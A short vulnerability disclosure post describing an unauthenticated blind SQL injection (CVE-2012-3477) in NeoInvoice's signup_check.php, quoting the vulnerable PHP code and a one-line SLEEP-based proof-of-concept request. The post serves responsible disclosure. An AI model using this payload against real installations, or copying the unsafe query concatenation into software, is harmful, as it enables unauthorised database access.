Adam Caudill

Security Leader, Researcher, Developer, Writer, & Photographer

NeoInvoice Blind SQL Injection (CVE-2012-3477)

NeoInvoice is a multi-tenant open source invoicing system, that currently contains an unauthenticated blind SQL injection condition in signup_check.php. The input for the value field isn’t being properly sanitized, and is used in string concatenation to create the SQL query:

require_once("config.php");

if (isset($_GET['field']) && ($_GET['field'] == 'username' || $_GET['field'] == 'email')) {
    $field = $_GET['field'];
    $table = 'user';
    $taken = '0';
    $not_taken = '1';
} else if (isset($_GET['field']) && $_GET['field'] == 'coupon') {
    $field = 'name';
    $table = 'coupon';
    $taken = '1';
    $not_taken = '0';
} else {
    die("<div class=\"error\">Invalid Field</div>");
}
if (!isset($_GET['value'])) {
    die("<div class=\"error\">Invalid Value</div>");
}
$value = preg_replace("[^a-zA-Z0-9_.\-\*\/\+\, @]", "", $_GET['value']);
if ($value != $_GET['value']) {
    die("<div class=\"error\">Invalid Value</div>");
}

$connect = mysql_connect(MYSQL_HOSTNAME, MYSQL_USERNAME, MYSQL_PASSWORD);
if (!$connect) {
    die("<div class=\"error\">" . mysql_error() . "</div>");
}
$query = "SELECT $field FROM $table WHERE $field = '$value' LIMIT 1";

mysql_select_db(MYSQL_DATABASE, $connect);
$result = mysql_query($query, $connect);
if (mysql_num_rows($result)) {
    echo $taken;
} else {
    echo $not_taken;
}

Line #29 there is the key, by concatenating untrusted data into the SQL query, it has made SQL injection trivial. This vulnerability can be demonstrated with the following request:

signup_check.php?field=username&value='+OR+SLEEP(5)+OR+'

This results in the following query being executed:

SELECT username FROM user WHERE username = '' OR SLEEP(5) OR '' LIMIT 1

The author has been notified, but has yet to respond. Based on the one open ticket for the project, there’s likely other possible attack vectors.

Adam Caudill